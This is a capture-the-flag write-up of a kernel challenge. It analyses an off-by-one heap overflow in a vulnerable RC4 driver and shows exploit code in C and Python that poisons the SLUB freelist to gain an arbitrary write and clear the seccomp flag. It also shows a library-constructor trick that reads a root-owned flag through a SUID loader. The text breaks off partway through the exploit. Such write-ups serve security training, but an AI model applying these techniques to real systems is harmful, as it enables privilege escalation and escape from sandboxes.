Kerbab
25 minutes to read
We are provided with a Linux file system and other common files in kernel exploitation challenges:
# ls -lh
total 12M
-rw-r--r-- 1 root root 618 Feb 25 23:21 Dockerfile
-rwxr-xr-x 1 root root 59 Feb 25 23:21 deploy_docker.sh
-rw-r--r-- 1 root root 155 Feb 25 23:21 docker-compose.yml
-rw-r--r-- 1 root root 2.4M Feb 25 23:21 initramfs.cpio.gz
-rw-r--r-- 1 root root 6.2K Feb 25 23:21 kebab.c
drwxr-xr-x 7 root root 4.0K Feb 25 23:21 pc-bios
-rwxr-xr-x 1 root root 396 Feb 25 23:21 run.sh
-rw-r--r-- 1 root root 9.6M Feb 25 23:21 vmlinuz-4.19.306
-rw-r--r-- 1 root root 176 Feb 25 23:21 xinetd
# cat run.sh
#! /bin/bash
qemu-system-x86_64 \
-nographic \
-cpu kvm64,+smep,+smap,check \
-kernel /home/user/vmlinuz-4.19.306 \
-initrd /home/user/initramfs.cpio.gz \
-m 1024M \
-L /home/user/pc-bios/ \
-no-reboot \
-monitor none \
-sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \
-append "console=ttyS0 oops=panic panic=1 quiet kaslr slub_debug=- apparmor=0" \
Source code analysis
In this case, we have the source code in C of the vulnerable kernel module (called safe_guard
as a device). First, it defines some constants, global variables and data structures:
#define DEVICE_NAME "safe_guard"
#define KEBAB_MAX_BUFFER_SIZE 2048
#define KEBAB_IOCTL_NEW 0xFABADA
#define KEBAB_IOCTL_READ 0xBEBE
#define KEBAB_IOCTL_SET_KEY 0x1CAFE
#define KEBAB_MAX_BUFFERS 4
#define MAX_RC4_LEN 256
struct secure_buffer {
char* buffer;
size_t size;
};
struct new_secbuff_arg {
size_t size;
char key[MAX_RC4_LEN];
const char* buffer;
};
struct read_secbuff_arg {
unsigned long index;
char key[MAX_RC4_LEN];
char* buffer;
};
struct key_info{
int pid;
struct task_struct* cur;
size_t max_len;
};
static struct secure_buffer* sec_buffs[KEBAB_MAX_BUFFERS] = {0};
static unsigned char n_buffs = 0;
static struct mutex kebab_mutex;
static char RC4_key[MAX_RC4_LEN + 1] = {0};
struct rc4_state {
unsigned char perm[256];
unsigned char index1;
unsigned char index2;
};
The interaction with the module is done with ioctl
:
static long kebab_ioctl(struct file* file, unsigned int cmd, unsigned long arg) {
void __user* argp = (void __user*) arg;
int err = 0;
if (!mutex_trylock(&kebab_mutex)) return -EAGAIN;
switch (cmd) {
case KEBAB_IOCTL_NEW:
if (strlen(RC4_key) == 0) {
err = -EINVAL;
break;
}
err = ioctl_new(argp);
break;
case KEBAB_IOCTL_READ:
if (strlen(RC4_key) == 0) {
err = -EINVAL;
break;
}
err = ioctl_read(argp);
break;
case KEBAB_IOCTL_SET_KEY:
if (strlen(RC4_key) > 0) {
err = -EINVAL;
break;
}
err = ioctl_set_key(argp);
break;
default:
err = -EINVAL;
}
mutex_unlock(&kebab_mutex);
return err;
}
Here we will have to specify some of the three possible options. Note that mutex
is used to block the execution of any of the options and unlocks at the end. Thus, the kernel protects from the race conditions.
Initial function
The first option we have to use is KEBAB_IOCTL_SET_KEY
(if not, we will not be able to use the rest of the options):
static int ioctl_set_key(void __user* argp) {
if (copy_from_user(&RC4_key, argp, MAX_RC4_LEN)) return -EFAULT;
struct key_info info = { current->pid, current, MAX_RC4_LEN };
if (copy_to_user(argp, &info, sizeof(info))) return -EFAULT;
printk(KERN_INFO "kebab: key setted\n");
return 0;
}
This function copies the RC4 key that we pass to the kernel in a global variable. In addition, the function returns a structure with the process identifier (PID) and a pointer to the variable current
.
Allocation function
Another option offered by the module is to write in an buffer and encrypt the information with RC4 and the previous key:
static int ioctl_new(void __user* argp) {
struct new_secbuff_arg arg_struct;
if (copy_from_user(&arg_struct, argp, sizeof(arg_struct))) return -EFAULT;
if (!is_the_same_key(arg_struct.key)) return -EINVAL;
if (arg_struct.size > KEBAB_MAX_BUFFER_SIZE) return -EFAULT;
if (n_buffs >= KEBAB_MAX_BUFFERS) return -ENOMEM;
if (alloc_secure_buff(&arg_struct) == -EINVAL) return -EINVAL;
return init_secure_buff(&arg_struct);
}
For this function, we have to use a new_secbuff_arg
structure, which contains the size of the chunk that we want to create (size
), the data (buffer
) and the RC4 encryption key (key
). In addition, it is verified that this key is the same as the one we put in the function ioctl_set_key
. Verification uses strncmp
:
static int is_the_same_key(char* key) {
return !strncmp(key, RC4_key, MAX_RC4_LEN);
}
Then, it is proven that the size of the chunk does not exceed 2048 (KEBAB_MAX_BUFFER_SIZE
) and that there are less than 4 buffers assigned (KEBAB_MAX_BUFFERS
).
If all this is fulfilled, it is executed alloc_secure_buff
:
static int alloc_secure_buff(struct new_secbuff_arg* arg_struct) {
sec_buffs[n_buffs] = kmalloc(sizeof(struct secure_buffer), GFP_KERNEL);
if (!sec_buffs[n_buffs]) return -EINVAL;
sec_buffs[n_buffs]->buffer = kzalloc(arg_struct->size, GFP_KERNEL);
if (!sec_buffs[n_buffs]->buffer) {
kfree(sec_buffs[n_buffs]);
sec_buffs[n_buffs] = 0;
return -EINVAL;
}
sec_buffs[n_buffs]->size = arg_struct->size;
printk(KERN_INFO "kebab: created %d\n", n_buffs);
n_buffs++;
return 0;
}
In this function a chunk is created to hold a secure_buffer
structure, and it is stored in the global array sec_buffs
. In the buffer
field of the secure_buffer
structure a chunk is assigned with kmalloc
and the size indicated in the new_secbuff_arg
structure above. This size is also copied into the secure_buffer
structure.
Then, it calls init_secure_buffer
:
static int init_secure_buff(struct new_secbuff_arg* arg_struct) {
char *u_buffer;
u_buffer = kzalloc(KEBAB_MAX_BUFFER_SIZE, GFP_KERNEL);
if (!u_buffer) return -EINVAL;
if (copy_from_user(u_buffer, arg_struct->buffer, arg_struct->size)) return -EFAULT;
RC4(u_buffer, sec_buffs[n_buffs - 1]->buffer, arg_struct->size);
kfree(u_buffer);
return 0;
}
In this function the user data is copied in a large enough (2 kiB) chunk, is encrypted with RC4 and then the chunk is freed.
RC4 cipher
The functions that perform the RC4 encryption are the following:
static __inline void swap_bytes(unsigned char* a, unsigned char* b) {
unsigned char temp;
temp = *a;
*a = *b;
*b = temp;
}
void rc4_init(const struct rc4_state* state, unsigned char* key, int keylen) {
unsigned char j;
int i;
for (i = 0; i < 256; i++) {
state->perm[i] = (unsigned char) i;
}
state->index1 = 0;
state->index2 = 0;
for (i = j = 0; i < 256; i++) {
j += state->perm[i] + key[i % keylen];
swap_bytes(&state->perm[i], &state->perm[j]);
}
}
void rc4_crypt(const struct rc4_state* const state, const unsigned char* inbuf, unsigned char* outbuf, int buflen) {
int i;
unsigned char j;
for (i = 0; i <= buflen; i++) {
state->index1++;
state->index2 += state->perm[state->index1];
swap_bytes(&state->perm[state->index1], &state->perm[state->index2]);
j = state->perm[state->index1] + state->perm[state->index2];
outbuf[i] = inbuf[i] ^ state->perm[j];
}
}
int RC4(char* user_buff, unsigned char* sec_buff, size_t size) {
struct rc4_state rc4st;
rc4_init(&rc4st, RC4_key, strlen(RC4_key));
rc4_crypt(&rc4st, user_buff, sec_buff, size);
return 0;
}
RC4 is a stream cipher, so the encryption key generates a keystream (which could be considered random). And to encrypt, the XOR operation is performed between plaintext bytes and the keystream bytes.
The module vulnerability is found in the function rc4_crypt
. The bug is in the condition of the for
loop, which admits one more index than due: for (i = 0; i <= buflen; i++) {
. With this we can get an overflow of one byte in the heap (known as off-by-one).For example, if we define a 256-byte chunk, we can actually write a byte beyond this chunk.
Read function
Just to finish the analysis, this is the other option that the module gives us:
static int ioctl_read(void __user* argp) {
struct read_secbuff_arg arg_struct;
if (copy_from_user(&arg_struct, argp, sizeof arg_struct)) return -EFAULT;
if (!is_the_same_key(arg_struct.key)) return -EINVAL;
if (arg_struct.index >= n_buffs) return -EINVAL;
if (copy_to_user(arg_struct.buffer, sec_buffs[arg_struct.index]->buffer, sec_buffs[arg_struct.index]->size)) return -EFAULT;
printk(KERN_INFO "kebab: read %zu bytes from %lu\n", sec_buffs[arg_struct.index]->size, arg_struct.index);
return 0;
}
This function is not very useful because what allows is to read the content of the chunks already allocated (we would obtain the encrypted content). So, it is something that we can know without using the module, since we have the RC4 encryption key and the chunks allocated in plaintext.
Setup environment
Before starting to write the exploit it is necessary to configure the environment. To do this, I rely on the guide from lkmidas.github.io. First, we extract the kernel and get the ROP gadgets for later if necessary:
# wget -q https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/extract-image.sh
# sh extract-image.sh vmlinuz-4.19.306 > vmlinux
# ROPgadget --binary vmlinux > rop.txt
The next thing we can do is extract and modify the file system to access as root
when we launch the kernel with qemu
and thus be able to debug better:
# mkdir initramfs
# cd initramfs
# cp ../initramfs.cpio.gz .
# gunzip ./initramfs.cpio.gz
# cpio -idm < ./initramfs.cpio
10678 blocks
# rm initramfs.cpio
# tail init
cat /etc/banner.txt
insmod /chall/kebab_mod.ko
chmod 4755 /chall/run
cd /home/user
setsid cttyhack setuidgid 1000 sh
poweroff -f
# vim init
# tail init
cat /etc/banner.txt
insmod /chall/kebab_mod.ko
chmod 4755 /chall/run
cd /home/user
setsid cttyhack setuidgid 0 sh
poweroff -f
Then, when we want to test the exploit, we can use a script like this (go.sh
), which compiles the C program, puts it in the initramfs
directory, compresses it and leaves it prepared for qemu
in run.sh
:
#!/usr/bin/env bash
musl-gcc -o exploit -static $1 || exit
mv exploit initramfs
cd initramfs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > initramfs.cpio.gz
mv initramfs.cpio.gz ..
cd ..
sh run.sh
On the other hand, the exploit is compiled statically with musl-gcc
because it generates smaller compiled binaries and without depending on external libraries. For this, it is necessary to install apt install musl-tools
.
Finally, we have to add the option -s
to qemu
to be able to debug the remote kernel from GDB in port 1234 (by default). It is also necessary to check the relevant files and directories (pc-bios
, vmlinuz
, initramfs.cpio.gz
).
An important file that we must have located to debug with GDB is the compiled module:
# find initramfs/ -name kebab\* 2>/dev/null
initramfs/chall/kebab_mod.ko
At this point, we tried a simple “Hello World” to see if everything works correctly:
# catn exploit.c; sh go.sh
#include <stdio.h>
int main() {
printf("Hello, world!\n");
return 0;
}
...
Booting from ROM..
____ __ ____ _
/ ___| __ _ / _| ___ / ___|_ _ __ _ _ __ __| |
\___ \ / _` | |_ / _ \ | _| | | |/ _` | '__/ _` |
___) | (_| | _| __/ |_| | |_| | (_| | | | (_| |
|____/ \__,_|_| \___|\____|\__,_|\__,_|_| \__,_|
----------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
----------------------------------------------------
/home/user # /exploit
Hello, world!
Peculiarities
The previous configuration works for common kernel exploitation challenges. However, for this challenge we have some changes.
For example, we see that if we enter as a non-privileged user (leaving initramfs/init
as it was at the beginning), we see that the vulnerable device is not accessible:
/home/user $ ls -l /dev/safe_guard
crw------- 1 root root 10, 57 Feb 26 23:26 /dev/safe_guard
So how can we exploit the device if we cannot open it? Well, let’s see the initramps/init
file:
#!/bin/sh
chown -hR root: /
chown -R user: /home/user
chmod 0755 -R /
chmod 0700 -R /root/
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
/sbin/mdev -s
ifup eth0 >& /dev/null
cd /root
cat /etc/banner.txt
insmod /chall/kebab_mod.ko
chmod 4755 /chall/run
cd /home/user
setsid cttyhack setuidgid 1000 sh
poweroff -f
There is the trap. We have a SUID binary in /chall/run
, so we will analyze it in Ghidra:
int main() {
int iVar1;
int iVar2;
long lVar3;
code *pcVar4;
iVar1 = open("/dev/safe_guard", 0);
if (iVar1 == -1) {
__assert_fail("fd != -1", "run.c", 9, (char *) &__PRETTY_FUNCTION__.0);
}
lVar3 = dlopen("/home/user/libxpl.so", 2);
if (lVar3 == 0) {
__assert_fail("handle != 0", "run.c", 0xc, (char *) &__PRETTY_FUNCTION__.0);
}
pcVar4 = (code *) dlsym(lVar3, "exploit");
if (pcVar4 == NULL) {
__assert_fail("exploit != 0", "run.c", 0xe, (char *) &__PRETTY_FUNCTION__.0);
}
lVar3 = seccomp_init(0);
if (lVar3 == 0) {
__assert_fail("ctx != 0", "run.c", 0x11, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_rule_add(lVar3, 0x7fff0000, 0x10, 0);
if (iVar2 != 0) {
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(ioctl), 0) == 0", "run.c", 0x13, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_rule_add(lVar3, 0x7fff0000, 1, 0);
if (iVar2 != 0) {
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0", "run.c", 0x14, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_rule_add(lVar3, 0x7fff0000, 0x106, 0);
if (iVar2 != 0) {
__assert_fail("seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0) == 0", "run.c", 0x15, (char *) &__PRETTY_FUNCTION__.0);
}
iVar2 = seccomp_load(lVar3);
if (iVar2 != 0) {
__assert_fail("seccomp_load(ctx) == 0", "run.c", 0x16, (char *) &__PRETTY_FUNCTION__.0);
}
(*pcVar4)(iVar1);
return 0;
}
Now it makes much more sense. The way to execute the exploit is calling the SUID binary /chall/run
, that will open the vulnerable device (since it is executed in the context of root
, there’s no problem). Then, the binary loads a library from /home/user/libxpl.so
and executes a function called exploit
from the same library.
So, we have to slightly change the go.sh
script to compile the exploit as a library:
#!/usr/bin/env bash
gcc -s -fPIC -o libxpl.so -shared $1 || exit
mv libxpl.so initramfs/home/user
cd initramfs
find . -print0 | cpio --null -ov --format=newc | gzip -9 > initramfs.cpio.gz
mv initramfs.cpio.gz ..
cd ..
sh run.sh
In addition, the program /chall/run
enables seccomp
rules after loading the library. It only allows us to use two syscall
instructions: sys_write
and sys_newfstatat
.
Note that when the SUID binary /chall/run
is executed, we are already root
. The problem is that we are under seccomp
rules. For this reason, we could not simply read the flag from /root/flag
, since we would need to use instructions such as sys_open
and sys_write
, and they are not allowed. So, the objective of the challenge is to find a way to skip the seccomp
rules by exploiting a vulnerability of the kernel module they give us.
Unintended solution
Before starting with kernel exploit, I discovered an unintended solution. The key point is in the dlopen
instruction of the SUID binary /chall/run
. There are ways to execute a function right when a library is loaded. If we get this, we will be executing code as root
before having seccomp
rules enabled.
A simple C code as the next works to read the flag:
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((constructor)) init() {
char flag[256];
FILE *fp;
fp = fopen("/root/flag", "r");
fgets(flag, 256, fp);
puts(flag);
fclose(fp);
exit(0);
}
Now, we launch qemu
and execute /chall/run
(even with the original initramfs/init
script):
# sh go.sh unintended.c
.
./home
./home/user
./home/user/libxpl.so
...
Booting from ROM..
____ __ ____ _
/ ___| __ _ / _| ___ / ___|_ _ __ _ _ __ __| |
\___ \ / _` | |_ / _ \ | _| | | |/ _` | '__/ _` |
___) | (_| | _| __/ |_| | |_| | (_| | | | (_| |
|____/ \__,_|_| \___|\____|\__,_|\__,_|_| \__,_|
----------------------------------------------------
[+] By DiegoAltF4 and Dbd4 [+]
----------------------------------------------------
/home/user $ /chall/run
flag{fake_flag}
Exploit strategy
After analyzing the code, what we have is the following:
- Possibility of allocating up to 4 chunks of sizes smaller than or equal to 2048 bytes
- The content of the chunks is encrypted with RC4. But since it is a stream cipher and we put the key, we have no limitation on what to write
- We have a off-by-one in the RC4 encryption function
The idea is as follows: The kernel uses by default a heap allocator known as SLUB. In this context there are lists (slabs) that contain objects (chunks) of the same size that are assigned contiguously.
In these slabs, when an object is released, it contains a pointer at the beginning that points to the next free object. Then, when allocating a new object in a specific slab, the linked list (freelist
) is first looking to occupy objects that have already been allocated but are free. And then, the list is updated by establishing a new linked list head.
As a result, to exploit the off-by-one, we can modify the pointer to the next free object in the adjacent object we are creating.Thus, we will be corrupting the linked list and, by allocating new objects, we can get an object that overlaps with another we control.
Since we have no option to free objects, we will put an object that seems to be released, and we will make the freelist
point to this object, so that we control the address where the following object will be allocated. And so, we achieved an arbitrary write primitive.
Once we can write in memory, the idea is to deactivate the seccomp
rules. For this, we have to modify the attribute current->thread_info.flags
, as shown in keksite.in. It is bit 8 what indicates to the process that there are seccomp
rules enabled, so we simply have to put 0
in this bit, then we can read the flag and even get a ahell as root
in the intended way.
The definition of the task_struct
structure can be found in elixir.bootlin.com, and we see that the first attribute is thread_info
, whose first attribute is flags
(elixir.bootlin.com). So, as the module gives us a pointer to current
, which corresponds to the task_struct
structure of the current process, we simply have to modify the bit 8 relative to the address of current
.
Exploit development
In order to debug while we do the exploit, it is necessary to modify the initranfs/init
file to enter the system as root
. Thus, we can open the vulnerable device and read the kernel addresses in /proc/kallsyms
. The exploit that we will do for testing purposes will not use /chall/run
, and so we can use functions such as getchar
to debug with GDB without seccomp
rules enabled.
We can define the following helper functions to interact with the module:
int fd;
void open_device() {
if ((fd = open("/dev/safe_guard", O_RDONLY)) < 0) {
puts("[!] Failed to open device");
exit(1);
} else {
puts("[*] Opened device");
}
}
int ioctl_new(struct new_secbuff_arg* arg) {
return ioctl(fd, KEBAB_IOCTL_NEW, arg);
}
int ioctl_set_key(char* key, struct key_info* ki) {
memcpy((void*) ki, key, MAX_RC4_LEN);
return ioctl(fd, KEBAB_IOCTL_SET_KEY, (void*) ki);
}
First tests
Now, in the main
we can add the following:
int main() {
int ret;
open_device();
memset(RC4_key, 0x41, MAX_RC4_LEN);
RC4_key[255] = 0;
struct key_info ki;
if ((ret = ioctl_set_key(RC4_key, &ki))) {
puts("[!] Error ioctl_set_key");
close(fd);
return ret;
} else {
printf("pid: %d\ncur: %p\nmax_len: %ld\n", ki.pid, ki.cur, ki.max_len);
}
getchar();
char buff[0x20];
char secbuff[0x20];
for (int i = 0; i < 0x20; i++) {
buff[i] = 0x30 + (i / 16);
}
buff[0x20 - 1] = 0;
RC4(buff, secbuff, sizeof(buff));
printf("buff: %s\n", buff);
printf("secbuff: ");
for (int i = 0; i < sizeof(buff); i++) {
printf("%02x", (unsigned char) secbuff[i]);
}
puts("");
struct new_secbuff_arg new_arg = {
.size = sizeof(buff) - 1,
.buffer = buff,
};
strncpy(new_arg.key, RC4_key, MAX_RC4_LEN);
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
getchar();
close(fd);
return 0;
}
With the first part of main
, we open the device and configure the RC4 key with 255 A
characters. Before executing the exploit, we are going to list the addresses of the symbols that the module introduces:
/home/user # grep kebab /proc/kallsyms
ffffffffc0375024 r _note_6 [kebab]
ffffffffc0374000 t kebab_open [kebab]
ffffffffc0374010 t ioctl_read [kebab]
ffffffffc0376a00 b RC4_key [kebab]
ffffffffc0376b40 b n_buffs [kebab]
ffffffffc0376b60 b sec_buffs [kebab]
ffffffffc0374240 t kebab_release [kebab]
ffffffffc0374bba t rc4_init.cold [kebab]
ffffffffc0374be0 t RC4.cold [kebab]
ffffffffc03751a8 r __func__.0 [kebab]
ffffffffc03751a0 r __func__.1 [kebab]
ffffffffc0374490 t ioctl_new [kebab]
ffffffffc0374a90 t kebab_ioctl [kebab]
ffffffffc0376b20 b kebab_mutex [kebab]
ffffffffc0374bf8 t kebab_ioctl.cold [kebab]
ffffffffc0376a00 b __key.2 [kebab]
ffffffffc0376600 d kebab_device [kebab]
ffffffffc0374c0c t kebab_exit [kebab]
ffffffffc03751c0 r kebab_fops [kebab]
ffffffffc0376680 d __this_module [kebab]
ffffffffc0374250 t rc4_init [kebab]
ffffffffc0374c0c t cleanup_module [kebab]
ffffffffc03743f0 t RC4 [kebab]
ffffffffc0374370 t rc4_crypt [kebab]
And now we execute the exploit, which stands at getchar
:
/home/user # ./exploit
[*] Opened device
pid: 125
cur: 0xffff8e1ffdf8c140
max_len: 256
At this point, we can connect to qemu
with GDB and inspect some addresses:
# gdb -q initramfs/chall/kebab_mod.ko
Reading symbols from initramfs/chall/kebab_mod.ko...
gef> target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
0xffffffffbabd62fe in ?? ()
For example, the address of RC4_key
:
gef> x/s 0xffffffffc0376a00
0xffffffffc0376a00: 'A' <repeats 255 times>
gef> x/32gx 0xffffffffc0376a00
0xffffffffc0376a00: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a10: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a20: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a30: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a40: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a50: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a60: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a70: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a80: 0x4141414141414141 0x4141414141414141
0xffffffffc0376a90: 0x4141414141414141 0x4141414141414141
0xffffffffc0376aa0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ab0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ac0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ad0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376ae0: 0x4141414141414141 0x4141414141414141
0xffffffffc0376af0: 0x4141414141414141 0x0041414141414141
If we continue the exploit, an encrypted note will be created:
buff: 0000000000000000111111111111111
secbuff: f2fbd60df093fd918a9b596cd4c0051b4674a383259834485b5a98cc01d1cec5
size: 31
key: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: 0000000000000000111111111111111
size: 31
key: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer: 0000000000000000111111111111111
This is the notes array:
gef> x/4gx 0xffffffffc0376b60
0xffffffffc0376b60: 0xffff8e1ffdf71910 0x0000000000000000
0xffffffffc0376b70: 0x0000000000000000 0x0000000000000000
And the address 0xffff8e1ffdf71910
points to a secure_buffer
structure:
gef> x/2gx 0xffff8e1ffdf71910
0xffff8e1ffdf71910: 0xffff8e1ffd62b180 0x000000000000001f
Here we see the size of the note (0x1f
) and the pointer to the encrypted buffer:
gef> x/4gx 0xffff8e1ffd62b180
0xffff8e1ffd62b180: 0x91fd93f00dd6fbf2 0x1b05c0d46c599b8a
0xffff8e1ffd62b190: 0x4834982583a37446 0xc5ced101cc985a5b
Indeed, the above data is encrypted with RC4 in the expected way. We can check it in Python:
$ python3 -q
>>> key = b'A' * 255
>>> pt = b'0' * 16 + b'1' * 15
>>> ct = ARC4(key).encrypt(pt + b'\0')
>>>
>>> ct.hex()
'f2fbd60df093fd918a9b596cd4c0051b4674a383259834485b5a98cc01d1cec5'
>>>
>>> print('\n'.join(f"0x{int.from_bytes(ct[i:i+8], 'little'):016x} 0x{int.from_bytes(ct[i+8:i+16], 'little'):016x}" for i in range(0, len(ct), 16)))
0x91fd93f00dd6fbf2 0x1b05c0d46c599b8a
0x4834982583a37446 0xc5ced101cc985a5b
In addition, we see that although we indicate 31 (0x1f
) as the size of the buffer, 32 characters were really encrypted (due to the off-by-one), being the last character a null byte.
At this point, we can look at what is right after the buffer that has given us the memory manager:
gef> x/12gx 0xffff8e1ffd62b180
0xffff8e1ffd62b180: 0x91fd93f00dd6fbf2 0x1b05c0d46c599b8a
0xffff8e1ffd62b190: 0x4834982583a37446 0xc5ced101cc985a5b
0xffff8e1ffd62b1a0: 0xffff8e1ffd62b1c0 0xffff8e1ffd62b1c0
0xffff8e1ffd62b1b0: 0xffffffffbba9b461 0x0000000000000000
0xffff8e1ffd62b1c0: 0xffff8e1ffd62b1e0 0xffff8e1ffd62b1e0
0xffff8e1ffd62b1d0: 0xffffffffbba9b3e6 0x0000000000000000
Since we are in kmalloc-32
, what we see above is our chunk where we have the encrypted buffer and then more chunks, contiguous. In this case, these chunks are free, we know it because the first field has a pointer that points to the next chunk (more information in blogs.oracle.com):
We can also see this information using gef
functions:
gef> slub-dump kmalloc-32 -n
[+] Wait for memory scan
--------------------------------------------------------------------------- CPU 0 ---------------------------------------------------------------------------
slab_caches @ 0xffffffffbb775160
kmem_cache: 0xffff8e1ffe401900
name: kmalloc-32
flags: 0x40000000 (__CMPXCHG_DOUBLE)
object size: 0x20 (chunk size: 0x20)
offset (next pointer in chunk): 0x0
kmem_cache_cpu (cpu0): 0xffff8e1ffe82c080
active page: 0xffffee8c80f58ac0
virtual address: 0xffff8e1ffd62b000
num pages: 1
in-use: 13/128
frozen: 1
layout: 0x000 0xffff8e1ffd62b000 (in-use)
0x001 0xffff8e1ffd62b020 (in-use)
0x002 0xffff8e1ffd62b040 (in-use)
0x003 0xffff8e1ffd62b060 (in-use)
0x004 0xffff8e1ffd62b080 (in-use)
0x005 0xffff8e1ffd62b0a0 (in-use)
0x006 0xffff8e1ffd62b0c0 (in-use)
0x007 0xffff8e1ffd62b0e0 (in-use)
0x008 0xffff8e1ffd62b100 (in-use)
0x009 0xffff8e1ffd62b120 (in-use)
0x00a 0xffff8e1ffd62b140 (in-use)
0x00b 0xffff8e1ffd62b160 (in-use)
0x00c 0xffff8e1ffd62b180 (in-use)
0x00d 0xffff8e1ffd62b1a0 (next: 0xffff8e1ffd62b1c0)
0x00e 0xffff8e1ffd62b1c0 (next: 0xffff8e1ffd62b1e0)
0x00f 0xffff8e1ffd62b1e0 (next: 0xffff8e1ffd62b200)
...
0x07e 0xffff8e1ffd62bfc0 (next: 0xffff8e1ffd62bfe0)
0x07f 0xffff8e1ffd62bfe0 (next: 0x0)
freelist (fast path):
0x00d 0xffff8e1ffd62b1a0
0x00e 0xffff8e1ffd62b1c0
0x00f 0xffff8e1ffd62b1e0
0x010 0xffff8e1ffd62b200
...
0x07e 0xffff8e1ffd62bfc0
0x07f 0xffff8e1ffd62bfe0
freelist (slow path): (none)
next: 0xffff8e1ffe401a80
So, with the off-by-one we could modify the last byte of the pointer that points to the next free chunk. In this way, we can corrupt the linked list and we can make the chunk point to itself:
With this, we have a kind of double free, and we can put an arbitrary address in the free-list. This would be the process:
- We allocate a first chunk and use the off-by-one for corrupting the linked list so that the next chunk free points to yourself
- We allocate a second chunk (it will be put in
0x [...] 1a0
) and write an arbitrary address in the field that indicates the address of the next chunk - We allocate a third chunk (it will also be put in
0x[...]1a0
) - The next chunk that we allocate will be put in the arbitrary address we put before
RC4 key
Since RC4 is a stream cipher, if we want to write some specific data, we can encrypt it before passing it to the module, since the module will encrypt it again. And thus, since stream ciphers use XOR, the encryption operation is the same as the decryption operation.
Source: https://kevinliu.me/posts/rc4/
To ensure that in the last byte 0xa0
is written, we need to find a speific key. We can use brute force in Python until we find a key that meets this.
Actually, during the tests, I discovered that it was more likely that the adjacent chunk was in the address that ends in 0x80
:
>>> import os
>>>
>>> key = os.urandom(3) + b'A' * 252
>>> pt = b'A' * 32
>>>
>>> while ARC4(key).encrypt(pt + b'\0')[-1] != 0x80 or not all(b < 0x80 for b in key):
... key = os.urandom(3) + b'A' * 252
...
>>> key
b'8pbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>>
>>> ct = ARC4(key).encrypt(pt + b'\0')
>>> ct.hex()
'b4c040f01d36470b3a626d47e7a4289089c1344de43d7e0c0c3562937a86e88280'
>>>
>>> print('\n'.join(f"0x{int.from_bytes(ct[i:i+8], 'little'):016x} 0x{int.from_bytes(ct[i+8:i+16], 'little'):016x}" for i in range(0, len(ct), 16)))
0x0b47361df040c0b4 0x9028a4e7476d623a
0x0c7e3de44d34c189 0x82e8867a9362350c
0x0000000000000080 0x0000000000000000
There we have a key that meets this.
Arbitrary write primitive
We are going to perform the previous procedure to write 32 characters B
in the address of current
:
int main() {
int ret;
open_device();
memset(RC4_key, 'A', MAX_RC4_LEN);
RC4_key[0] = '8';
RC4_key[1] = 'p';
RC4_key[2] = 'b';
RC4_key[255] = '\0';
struct key_info ki;
if ((ret = ioctl_set_key(RC4_key, &ki))) {
puts("[!] Error ioctl_set_key");
close(fd);
return ret;
}
printf("pid: %d\ncur: %p\nmax_len: %ld\n", ki.pid, ki.cur, ki.max_len);
puts("First allocation => ");
getchar();
char buff[0x20];
memset(buff, 'A', sizeof(buff));
buff[0x20 - 1] = 0;
struct new_secbuff_arg new_arg = { .size = 0x20, .buffer = buff };
strncpy(new_arg.key, RC4_key, MAX_RC4_LEN);
printf("size: %ld\nkey: %s\nbuffer: %s\n", new_arg.size, new_arg.key, new_arg.buffer);
// First allocation: trigger off-by-one
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Second allocation => ");
getchar();
((unsigned long*) buff)[0] = ki.cur;
for (int i = 0; i < 0x20; i++) {
printf("%02x", (unsigned char) buff[i]);
}
puts("");
RC4(buff, new_arg.buffer, sizeof(buff));
// Second allocation: set target address for arb-write
if ((ret = ioctl_new(&new_arg))) {
puts("[!] Error ioctl_new");
close(fd);
return ret;
}
puts("Third allocation => ");
getchar();
memset(new_arg.buffer, 'A', sizeof(buff));
